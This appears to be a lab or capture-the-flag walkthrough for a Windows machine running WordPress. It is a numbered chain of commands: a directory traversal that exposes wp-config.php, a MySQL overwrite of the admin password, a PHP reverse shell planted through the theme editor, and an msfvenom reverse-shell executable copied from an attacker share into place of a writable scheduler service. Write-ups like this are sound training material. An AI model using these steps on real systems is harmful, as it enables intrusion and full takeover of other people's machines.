Socket/WP (.46)	
Operating System	Windows
Points	25
Similar Machine (User)	
Similar Machine (Root)	

Exploit in Getting User

1. Gobuster the port 8081 - ***gobuster -u http://192.168.XX.46:8081 -w /opt/SecLists/Discovery/Web-Content/common.txt -x txt,php,asp,db***
2. CyBroHttpServer 1.0.3 is vulnerable to Directory Traversal - https://www.exploit-db.com/exploits/45303
3. http://192.168.XX.46:8081/..\..\..\..\xampp\htdocs\blog\wp-config.php
4. Get the credential & Connect to MySQL - ***mysql -u root -h 192.168.XX.46 -p***
5. Use ***wordpress*** database and ***select * from wp_users***
6. Run ***UPDATE `wp_users` SET `user_pass`= MD5('bypassed') WHERE `user_login`='admin';***
7. Login to http://192.168.XX.46/blog/wp-admin/
8. Go to Theme Editor and edit 404.php
9. Use PHP Reverse Shell and listen to your machine
10. User shell!

Privilege Escalation to Root

1. A System Scheduler service is installed in the machine located at ***C:\Program Files\SystemScheduler\WScheduler.exe*** and vulnerable to https://www.exploit-db.com/exploits/45072
2. Its permission is ***Everyone [WriteData/CreateFiles]*** and it will automatically run in startup because ***HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run***
3. Create an exe file using msfvenom - ***msfvenom -p windows/shell_reverse_tcp LHOST=192.168.XX.XX LPORT=443 -f exe -a x86 --platform win > WScheduler.exe***
4. Backup the original schedule in the target machine - ***move "C:\Program Files\SystemScheduler\WScheduler.exe" "C:\Program Files\SystemScheduler\WScheduler.back"***
5. Copy your reverse shell to target machine - ***copy \\192.168.XX.XX\LOVE\WScheduler.exe "C:\Program Files\SystemScheduler\"***
6. Restart the target machine - ***shutdown /R***
7. Root shell!